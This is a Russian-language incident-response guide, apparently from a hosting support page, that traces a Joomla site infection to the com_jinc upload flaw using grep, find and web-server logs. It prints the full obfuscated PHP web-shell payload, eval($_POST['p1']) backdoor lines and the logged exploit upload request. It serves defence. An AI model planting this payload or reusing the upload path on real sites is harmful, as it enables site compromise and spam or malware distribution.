Поиск и устранение вредоносного кода на сайте. Уязвимость в модуле Joomla
Автор:
|
|
Проверяем сайт на наличие стандартной функции php eval() которая зачастую используется во вредоносных целях.
Выполняем команду поиска: # find ./domain.com -name "*.php" | xargs grep "eval" --color -w
Выводится целый список файлов. Из всех этих файлов нас интересуют те которые содержат закодированный код. В данном случае находим файл:
./domain.com/administrator/components/com_jinc/classes/graphics/tmp-upload-images/lobex21.php:
С содержимым в закодированном виде: <?php eval(gzinflate(str_rot13(base64_decode('rUl6QttVEP58VfyHci+SHRUcbaeTKsCoHJgS3U64OLkvAUwbe5N5sdfWbVrIIf77zezabCmU0qr5knFznpl0nh3PmiuVq1XxIkpNyKm73z7c3hIT4u6IsuTaelJuEIbd3tXIGbPP7M65erd/bNzed92LReg4r6QmPtkHQ3jOx/ATAf1/g/6IXgwG19FSLxzQW2cL+WzD3Q/+GQbhIBr2uzZgnCcLiKAsbnHB5JQAgsea3FVZjWuKbiWb8Hk/4RD6RFURWoGlg8YoyxPuLPkvA9vksUjyuEVPLyB9a2UeUZe9swAS9M7P6eHT9hZCWP5X1BUEmdJcFVz5Q2SWl228kCzj7rIjx35UJ3R0fZCp7pnf6VxOkq+B+sFyYhCsgTImRZfa3uFDmALkxylNvTjP6C6hUym6WC9LKUXyJx4Lk3GmaGTQ6TRNgXdaOzeye1pPru45Eqm7uJEErN26DJgbrtQwf2ns9SmvxG0W8e6dRFZZ3HNnPgWDkROnueQ4Njg1cl6pmK/PgROe9rvXg+i8+2pjaGUZOHMWEl53TvxI1EzvZ2sZXA2ifq83Y2E92hFlknvFrMChQ9yqd9PvEotiW74/ZG8O3jQxB2lvICie5YQedqFGfjyUf8l8LskeCVJJpJyEM56mVB3rPRqrcOykhllla65X8R/3fyNknsIB/frBfCDwmG3Luh496oyX4BYYowrO16cu9aDNCAygjTZTt+3R9lt4DAEAjUci8VqmeQE/IcOyhFTJZ+Wcfulcp/WmbWuAQ5DikVOVOc72c5pWJXAtZVaKORQjOEHxPLGPSYwmO3ytyi+1RVJeuujfaDqOmT3j2k5fyqVktffeo1BkXSlW0OJOY2a6j3hpM9i1/aUSNzffRgOiv16kLoSSOSCZylWGmwOUvsZIV5jRwKf0+GhOQvMscDJ2BDwSsqg00YuC+0fzB1oJd+zTOFjopjesxplL+XoeV+5MTZn/ahDfTnPHzuEmRg4HcUVxSKpSwZQ2ZHsJ06xu3rSD3XyjhW6R5iwh5yLlpo0OUz/rcyaShMuaena5YgRZAF+7ZDbxL614frDZXnJkxecGfUDWVqzlVDUt+v0faB3J5/iDkjhycul4tgGwJHgfHeultrbhDWzXtikqNmUsuNmnlU4kAhd7sW0GaU2GVIOp6QDo0TjM/sWFG46cUxLnFuJZkJnDLL/nkc3OkwgD3BchOisiC4Otu3HjmTI1mZ+SCru1e6SZCrgQbIJ74YnYclk2/G4Vx7wsiQaT93I6S14HdIQekifztD0TuR76U3JrU4xxtTNYzCVIr7VP8fUJ+r2ZoH3zgXJd4p6P+AOPXcxxtpodog5v6cZ32bw6sxWFvOawZfwohfy7OKhWUKFgbfbw7asbw1cI4w+gbMJd2m5WBtcuLFKGrxe7NpFsyxizmG5TgxntG7yagAV0IjIXGJCECwwWLcbCtQ+GiZhJkAuWibn/240QAF1/UCE/oI6TlnEvcs6LAv0P')))); ?>
Проверяем когда был создал файл: # ls -la ./domain.com/administrator/components/com_jinc/classes/graphics/tmp-upload-images/lobex21.php -rw-r--r-- 1 user1135947 user1135947 1552 Июл 12 03:19 ./domain.com/administrator/components/com_jinc/classes/graphics/tmp-upload-images/lobex21.php
Проводим поиск всех файлов на сайте созданных в эту дату # find ./domain.com/ -name "*.php" | xargs ls -la | grep "Июл 12" Ничего не находим.
Пробуем тот же поиск по ближайшим датам: # find ./domain.com/ -name "*.php" | xargs ls -la | grep "Июл 13" # find ./domain.com/ -name "*.php" | xargs ls -la | grep "Июл 11"
Находим файл: -rw-r--r-- 1 user1135947 user1135947 74965 Июл 13 12:49 ./domain.com/administrator/components/com_jinc/classes/graphics/tmp-upload-images/se.php
Смотрим его содержимое. И находим в нем строчки: eval(arr[2].substr(0, arr[1])); eval($_POST['p1']); eval($_POST['p1']); Из опыта, могу сказать, что файлы содержащие подобный код осуществляют или рассылку спама или занимаются распространением вредоносного кода. Это можно увидеть путем изучение этого файла и переменной в нем p1. Файл очень большой поэтому приводить в пример его не буду. Но файл является весьма стандартным во многих случаях заражения.
Проверяем логи Web-сервер на наличие POST запросов: # cat domain.com.access.log | grep POST --color Видно что идет подбор паролей к админке сайта: 78.47.135.53 - - [04/Jul/2014:01:39:40 +0300] "POST /administrator/index.php HTTP/1.0" 303 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2" 167258 78.47.135.53 - - [04/Jul/2014:01:39:46 +0300] "POST /administrator/index.php HTTP/1.0" 303 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2" 157218 78.47.135.53 - - [04/Jul/2014:01:39:51 +0300] "POST /administrator/index.php HTTP/1.0" 303 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2" 139863 78.47.135.53 - - [04/Jul/2014:01:39:57 +0300] "POST /administrator/index.php HTTP/1.0" 303 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2" 174724 78.47.135.53 - - [04/Jul/2014:01:40:02 +0300] "POST /administrator/index.php HTTP/1.0" 303 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2" 181493
Находим наш первичный зловредный файл, хочу отметить что время запроса веб-сервера совпадает с временем создания: 78.47.135.53 - - [12/Jul/2014:03:19:48 +0300] "POST //administrator/components/com_jinc/classes/graphics/php-ofc-library/ofc_upload_image.php?name=lobex21.php HTTP/1.0" 200 54 "-" "libwww-perl/5.803" 44852 78.47.135.53 - - [12/Jul/2014:03:19:48 +0300] "GET //administrator/components/com_jinc/classes/graphics/tmp-upload-images/lobex21.php?rf HTTP/1.0" 200 4336 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 30813 Видно, что первый POST запрос получил код 200, что успешно выполнился и второй GET запрос подтвердил что файл уже присутствует.
Так же находятся логи и по второму зловредному файлу: 78.47.135.53 - - [13/Jul/2014:12:49:27 +0300] "GET //administrator/components/com_jinc/classes/graphics/tmp-upload-images/se.php HTTP/1.0" 200 12666 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36" 75504 78.47.135.53 - - [13/Jul/2014:12:49:30 +0300] "POST //administrator/components/com_jinc/classes/graphics/tmp-upload-images/se.php HTTP/1.0" 200 27411 "http://domain.com//administrator/components/com_jinc/classes/graphics/tmp-upload-images/se.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36" 31076
Однако, здесь первый запрос GET, что означает что файл присутствовал уже к моменту первого запроса. Создание файла se.php осуществил файл lobex21.php
Так же в логах виден постоянный POST запрос: 78.47.135.53 - - [13/Jul/2014:17:00:31 +0300] "POST /plugins/content/jllike/models/ajax.php HTTP/1.0" 200 1 "http://domain.com/reklama-v-gazete.html" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36" 322750
При проверке файл domain.com/plugins/content/jllike/models/ajax.php Оказывается, что это бот-стучалка, скрипт осуществляет CURL запросы на сторонние сайты тем самым проверяет их на наличие определенных последовательной.
Вернемся к нашему первому файлу: domain.com/administrator/components/com_jinc/classes/graphics/tmp-upload-images/lobex21.php
Из логов видно как он попал на сайт: 78.47.135.53 - - [12/Jul/2014:03:19:48 +0300] POST //administrator/components/com_jinc/classes/graphics/php-ofc-library/ofc_upload_image.php?name=lobex21.php HTTP/1.0" 200 54 "-" "libwww-perl/5.803" 44852
Т.е. файл был загружен через модуль com_jinc. Гуглим на наличие уязвимости в данном модуле. И находим очень много ссылок на эксплоит в данном модуле, одна из них: http://black-cybersec-crew.blogspot.com/2014/03/exploit-joomla-comjinc.html
Изучив статью, можно заметить, что она полностью подпадает под наш случай.
Итог: Первичное заражение произошло через уязвимость в одном из модулей Joomla а именно в com_jinc. Через уязвимость был загружен файл lobex21.php которой в дальнейшем осуществлял вредоносные действия на сайте. Необходимо удалить модуль com_jinc удалить файлы lobex21.php se.php ajax.php Желательно обновить все модули и версию Joomal. Обязательно сменить все пароли.
| |
Если решение вопроса найти не удалось, Вы можете отправить нам заявку: |